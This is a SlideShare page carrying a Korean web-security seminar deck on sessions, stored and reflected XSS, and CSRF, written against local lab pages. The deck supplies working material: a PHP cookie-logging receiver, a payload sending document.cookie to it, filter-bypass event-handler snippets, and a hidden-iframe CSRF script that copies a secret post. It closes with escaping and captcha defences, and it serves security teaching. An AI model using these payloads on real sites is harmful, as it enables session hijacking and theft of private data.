SlideShare a Scribd company logo
Web vulnerability seminar
from make to exploit
Contents
$ PHP + Source code auditing
$ DB & SQL injection
$ XSS & CSRF
$ Something Injection
ㅅ..세..세션
$ 서버와 유저간의 연결
$ 서버에게 내가 ‘나’ 라는걸 증명 하는 것
PHP SESSION
• 쿠키 -> PHPSESSID
• 이상한 문자열
데자뷰
$ 로그인 -> COOKIE
$ COOKIE -> 삭제 -> 안 로그인
$ COOKIE-> 안 삭제 -> 로그인
ㅎㅎ 관리자
$ 제 아이디로 글을 쓰세요
$ ??/web/3/
만약..
게시글을 읽을때
요청
그림주소 = ‘domain.com/monday.jpg’
문제가 되는 것?
$ 아직까지 없음
글을 이쁘게
문제가 되는것?
$ 스크립트가 적힌다는 것은 내가 원하는 행
동을 일부 할 수 있다는 이야기.
$ 현재 페이지에서 상대방이 가지고 있는 쿠
키(세션) 값을 내 서버로 전송해서 기록 할
수 있다면?
Stored XSS 개요
1
2
3
4
간단한 테스트!
<script>alert(“test”)</script>
<script>alert(document.cookie)</script>
<iframe src=‘’/>
…
PHP
<?
$hijack = "rn".$_GET[‘k']." :
".date("Y-m-d h:i:s");
$f = fopen("./cookie.txt","a");
fwrite($f,$hijack,strlen($hijack));
fclose($f);
?>
Payload
<script>location.href=‘http://path/cookie.p
hp?k=‘+document.cookie</script>
With filtering 1
Source
$q = str_replace("script","",$_GET[inp]);
echo $q;
192.168.1.25/web/xss/test.php
With filtering 2
Source
$q = $_GET[inp];
if(eregi("script",$q))
exit("HAHA. Do not try XSS");
echo $q;
192.168.1.25/web/xss/test2.php
With filtering 3
Source
$q = $_GET[inp];
if(eregi("script|alert",$q))
exit("HAHA. Do not try XSS");
echo $q;
192.168.1.25/web/xss/test3.php
자연스럽게 글을 쓰면서
$ <img src = ‘’ onload =‘’>
$ <img src = ‘’ onerror =‘’>
$ <img src = ‘’ onmouseover=‘’>
…
Reflected XSS
$ Stored와 달리 저장할 공간이 없어도 가능
$ Stored와 같은 행동이 모두 가능함
재탕
그림주소 = ‘domain.com/monday.jpg’
Reflected XSS 개요
1
3
2
4
XSS = XSS
$ Stored로 가능한 모든 공격을 Reflected 로
도 가능함.
시나리오
$ XSS공격을 확인
$ XSS 를 통해 악성 스크립트가 삽입된 페이
지로 이동
$ Reverse Connection!
ㅎㅎ
CSRF
$ XSS에서 파생되는 2차 피해
CSRF 개요
1
2
3
4
Return To XSS
$ <script ~~>로 서버에 요청을 보내자!
관리자가 읽게 하여 비밀글을 읽어보자!
실습
$ 글쓰기 예제
<iframe src =
'http://127.0.0.1/web/csrf/board/write_ok.p
hp?user_id=TEST&title=qwer&pw=&conte
nts=zxcv' width=0 height=0
frameborder=0/>
비밀글을 읽어봅시다.
1. 해당 글이 적힌 페이지를 요청
2. 요청된 페이지의 html 소스코드를 가져옴
3. 가져온 소스코드를 그대로 적음.
비밀글을 빼옵시다.
<script>
function sending(html)
{
var f = document.getElementById("csrf");
var a = unescape(html)
var c =
"http://127.0.0.1/web/csrf/board/write_ok.php?user_id=TEST&title=qwwer&pw=aa&contents="+a;
if(html != "")
f.src=c;
else
f.src ="";
}
document.write(“<iframe id =‘csrf’ src =http://127.0.0.1/web/csrf/board/view.php?num=70 width=0px
height=0px frameborder=0 onload =sending(this.contentWindow.document.body.innerHTML)></iframe>")
</script>
설명
document.write("")
인자로 들어간 내용을 HTML에 적음
각종 변수 값 사용 가능!
IFRAME
<iframe
id =‘csrf’
src=http://127.0.0.1/web/csrf/board/view.php?
num=70
width=0px height=0px frameborder=0
onload=sending(this.contentWindow.documen
t.body.innerHTML)></iframe>
Function
function sending(html)
{
var f = document.getElementById("csrf");
var a = unescape(html)
var c =
"http://127.0.0.1/web/csrf/board/write_ok.php?user_id=TEST&ti
tle=qwwer&pw=aa&contents="+a;
if(html != "")
f.src=c;
else
f.src ="";
} src=http://127.0.0.1/web/csrf/board/view.php?num=70src=http://127.0.0.1/web/csrf/board/write_ok.php?user_
id=TEST&title=qwwer&pw=aa&contents=
어떻게 할 것인가
< : &lt
> : &gt
특수기능을 잃어버린다
어떻게 볼 것인가
<script>Something Text </script>
<img src =‘’ onload=‘’/>
<img src = ‘evil.php’/>
CSRF 추가 대책
$ 요청을 보낸 것이 정말 사람인지 확인
-> captcha
요약
$ 게시판에 모든 스크립트를 허용하지 않고
딱딱하게 글을 쓰게 하면 됩니다..
$ 스크립트를 제공해야 할 경우, 정규표현식
을 통해 지정된 형태에서 벗어나면 OUT!

More Related Content

What's hot

레일스 환경 변수
레일스 환경 변수레일스 환경 변수
레일스 환경 변수
Eugene Park
 
MySQL 기초
MySQL 기초MySQL 기초
MySQL 기초
Yoonwhan Lee
 
Mysql old password 깨기
Mysql old password 깨기Mysql old password 깨기
Mysql old password 깨기HyunSeung Kim
 
Mymysql basic sql
Mymysql basic sqlMymysql basic sql
Mymysql basic sql
Hoyoung Jung
 
제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처
제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처
제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처
dgmit2009
 
해킹 기법과 기본상식 by issac
해킹 기법과 기본상식 by issac해킹 기법과 기본상식 by issac
해킹 기법과 기본상식 by issac
Herren
 
파이썬 웹 프로그래밍 2탄
파이썬 웹 프로그래밍 2탄 파이썬 웹 프로그래밍 2탄
파이썬 웹 프로그래밍 2탄
SeongHyun Ahn
 
파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄
SeongHyun Ahn
 
[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼
[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼
[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼
Cheol Kang
 
MySQL delete.update
MySQL delete.updateMySQL delete.update
MySQL delete.update
Hoyoung Jung
 
자바스크립트 기초
자바스크립트 기초자바스크립트 기초
자바스크립트 기초
Eunyoung Hong
 
MySQL JOIN
MySQL JOINMySQL JOIN
MySQL JOIN
Hoyoung Jung
 
Nest js 101
Nest js 101Nest js 101
Nest js 101
Daniel Lim
 
막하는 스터디 첫 번째 만남 Node.js
막하는 스터디 첫 번째 만남 Node.js막하는 스터디 첫 번째 만남 Node.js
막하는 스터디 첫 번째 만남 Node.js
연웅 조
 
막하는스터디 두번째만남 Express(20151025)
막하는스터디 두번째만남 Express(20151025)막하는스터디 두번째만남 Express(20151025)
막하는스터디 두번째만남 Express(20151025)
연웅 조
 
파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄
SeongHyun Ahn
 
파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄
SeongHyun Ahn
 
웹 크롤링 (Web scraping) 의 이해
웹 크롤링 (Web scraping) 의 이해웹 크롤링 (Web scraping) 의 이해
웹 크롤링 (Web scraping) 의 이해
2minchul
 

What's hot (20)

레일스 환경 변수
레일스 환경 변수레일스 환경 변수
레일스 환경 변수
 
MySQL 기초
MySQL 기초MySQL 기초
MySQL 기초
 
Mysql old password 깨기
Mysql old password 깨기Mysql old password 깨기
Mysql old password 깨기
 
Cdr with php
Cdr with phpCdr with php
Cdr with php
 
Mymysql basic sql
Mymysql basic sqlMymysql basic sql
Mymysql basic sql
 
제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처
제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처
제 4회 DGMIT R&D 컨퍼런스 : REST API - 리소스 지향적 아키텍처
 
해킹 기법과 기본상식 by issac
해킹 기법과 기본상식 by issac해킹 기법과 기본상식 by issac
해킹 기법과 기본상식 by issac
 
파이썬 웹 프로그래밍 2탄
파이썬 웹 프로그래밍 2탄 파이썬 웹 프로그래밍 2탄
파이썬 웹 프로그래밍 2탄
 
파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄 파이썬 웹프로그래밍 1탄
파이썬 웹프로그래밍 1탄
 
[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼
[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼
[PyConKR 2014] 30분만에 따라하는 동시성 스크래퍼
 
MySQL delete.update
MySQL delete.updateMySQL delete.update
MySQL delete.update
 
자바스크립트 기초
자바스크립트 기초자바스크립트 기초
자바스크립트 기초
 
MySQL JOIN
MySQL JOINMySQL JOIN
MySQL JOIN
 
Nest js 101
Nest js 101Nest js 101
Nest js 101
 
Redis edu 2
Redis edu 2Redis edu 2
Redis edu 2
 
막하는 스터디 첫 번째 만남 Node.js
막하는 스터디 첫 번째 만남 Node.js막하는 스터디 첫 번째 만남 Node.js
막하는 스터디 첫 번째 만남 Node.js
 
막하는스터디 두번째만남 Express(20151025)
막하는스터디 두번째만남 Express(20151025)막하는스터디 두번째만남 Express(20151025)
막하는스터디 두번째만남 Express(20151025)
 
파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄파이썬 데이터베이스 연결 1탄
파이썬 데이터베이스 연결 1탄
 
파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄파이썬 데이터베이스 연결 2탄
파이썬 데이터베이스 연결 2탄
 
웹 크롤링 (Web scraping) 의 이해
웹 크롤링 (Web scraping) 의 이해웹 크롤링 (Web scraping) 의 이해
웹 크롤링 (Web scraping) 의 이해
 

Viewers also liked

How to find_vulnerability_in_software
How to find_vulnerability_in_softwareHow to find_vulnerability_in_software
How to find_vulnerability_in_software
sanghwan ahn
 
Software Security - Vulnerability&Attack
Software Security - Vulnerability&AttackSoftware Security - Vulnerability&Attack
Software Security - Vulnerability&AttackEmanuela Boroș
 
Codegate 2013 Junior - Music Player Exploit
Codegate 2013 Junior - Music Player ExploitCodegate 2013 Junior - Music Player Exploit
Codegate 2013 Junior - Music Player Exploit
sweetchip
 
Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015
Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015
Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015
Jeremy Brown
 
Web vulnerability seminar1
Web vulnerability seminar1Web vulnerability seminar1
Web vulnerability seminar1Sakuya Izayoi
 
취약점(Vulnerability) db 구조 설명
취약점(Vulnerability) db 구조 설명취약점(Vulnerability) db 구조 설명
취약점(Vulnerability) db 구조 설명eungjin cho
 
MBFuzzer : MITM Fuzzing for Mobile Applications
MBFuzzer : MITM Fuzzing for Mobile ApplicationsMBFuzzer : MITM Fuzzing for Mobile Applications
MBFuzzer : MITM Fuzzing for Mobile ApplicationsFatih Ozavci
 
Inc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchipInc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchip
sweetchip
 
0-knowledge fuzzing
0-knowledge fuzzing0-knowledge fuzzing
0-knowledge fuzzing
Vincenzo Iozzo
 
Fuzzing underestimated method of finding hidden bugs
Fuzzing underestimated method of finding hidden bugsFuzzing underestimated method of finding hidden bugs
Fuzzing underestimated method of finding hidden bugs
Pawel Rzepa
 
EZ KEY_EZ
EZ KEY_EZEZ KEY_EZ
EZ KEY_EZ
Jaesung Lee
 
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
GangSeok Lee
 
FUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTINGFUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTING
MuH4f1Z
 

Viewers also liked (15)

How to find_vulnerability_in_software
How to find_vulnerability_in_softwareHow to find_vulnerability_in_software
How to find_vulnerability_in_software
 
Software Security - Vulnerability&Attack
Software Security - Vulnerability&AttackSoftware Security - Vulnerability&Attack
Software Security - Vulnerability&Attack
 
Variables and constants
Variables and constantsVariables and constants
Variables and constants
 
Codegate 2013 Junior - Music Player Exploit
Codegate 2013 Junior - Music Player ExploitCodegate 2013 Junior - Music Player Exploit
Codegate 2013 Junior - Music Player Exploit
 
Fuzzing sucks!
Fuzzing sucks!Fuzzing sucks!
Fuzzing sucks!
 
Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015
Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015
Browser Fuzzing with a Twist (and a Shake) -- ZeroNights 2015
 
Web vulnerability seminar1
Web vulnerability seminar1Web vulnerability seminar1
Web vulnerability seminar1
 
취약점(Vulnerability) db 구조 설명
취약점(Vulnerability) db 구조 설명취약점(Vulnerability) db 구조 설명
취약점(Vulnerability) db 구조 설명
 
MBFuzzer : MITM Fuzzing for Mobile Applications
MBFuzzer : MITM Fuzzing for Mobile ApplicationsMBFuzzer : MITM Fuzzing for Mobile Applications
MBFuzzer : MITM Fuzzing for Mobile Applications
 
Inc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchipInc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchip
 
0-knowledge fuzzing
0-knowledge fuzzing0-knowledge fuzzing
0-knowledge fuzzing
 
Fuzzing underestimated method of finding hidden bugs
Fuzzing underestimated method of finding hidden bugsFuzzing underestimated method of finding hidden bugs
Fuzzing underestimated method of finding hidden bugs
 
EZ KEY_EZ
EZ KEY_EZEZ KEY_EZ
EZ KEY_EZ
 
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다[2014 CodeEngn Conference 10] 심준보 -  급전이 필요합니다
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다
 
FUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTINGFUZZING & SOFTWARE SECURITY TESTING
FUZZING & SOFTWARE SECURITY TESTING
 

Similar to Web vulnerability seminar3

XSS 에 대해서 알아보자. [실습 포함]
XSS 에 대해서 알아보자. [실습 포함]XSS 에 대해서 알아보자. [실습 포함]
XSS 에 대해서 알아보자. [실습 포함]
용진 조
 
Amazed by aws 2nd session
Amazed by aws 2nd sessionAmazed by aws 2nd session
Amazed by aws 2nd session
Amazon Web Services Korea
 
XSS(Cross site scripting) - Kitworks Team Study
XSS(Cross site scripting) - Kitworks Team StudyXSS(Cross site scripting) - Kitworks Team Study
XSS(Cross site scripting) - Kitworks Team Study
Wonjun Hwang
 
Web hacking 개요
Web hacking 개요Web hacking 개요
Web hacking 개요
Jongseok Choi
 
Web App Security 2015.10
Web App Security 2015.10Web App Security 2015.10
Web App Security 2015.10
Chanjin Park
 
자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)
자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)
자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)
DK Lee
 
NODE.JS 글로벌 기업 적용 사례 그리고, real-time 어플리케이션 개발하기
NODE.JS 글로벌 기업 적용 사례  그리고, real-time 어플리케이션 개발하기NODE.JS 글로벌 기업 적용 사례  그리고, real-time 어플리케이션 개발하기
NODE.JS 글로벌 기업 적용 사례 그리고, real-time 어플리케이션 개발하기
John Kim
 
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
NAVER D2
 

Similar to Web vulnerability seminar3 (8)

XSS 에 대해서 알아보자. [실습 포함]
XSS 에 대해서 알아보자. [실습 포함]XSS 에 대해서 알아보자. [실습 포함]
XSS 에 대해서 알아보자. [실습 포함]
 
Amazed by aws 2nd session
Amazed by aws 2nd sessionAmazed by aws 2nd session
Amazed by aws 2nd session
 
XSS(Cross site scripting) - Kitworks Team Study
XSS(Cross site scripting) - Kitworks Team StudyXSS(Cross site scripting) - Kitworks Team Study
XSS(Cross site scripting) - Kitworks Team Study
 
Web hacking 개요
Web hacking 개요Web hacking 개요
Web hacking 개요
 
Web App Security 2015.10
Web App Security 2015.10Web App Security 2015.10
Web App Security 2015.10
 
자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)
자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)
자바 웹 개발 시작하기 (3주차 : 스프링 웹 개발)
 
NODE.JS 글로벌 기업 적용 사례 그리고, real-time 어플리케이션 개발하기
NODE.JS 글로벌 기업 적용 사례  그리고, real-time 어플리케이션 개발하기NODE.JS 글로벌 기업 적용 사례  그리고, real-time 어플리케이션 개발하기
NODE.JS 글로벌 기업 적용 사례 그리고, real-time 어플리케이션 개발하기
 
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
 

Web vulnerability seminar3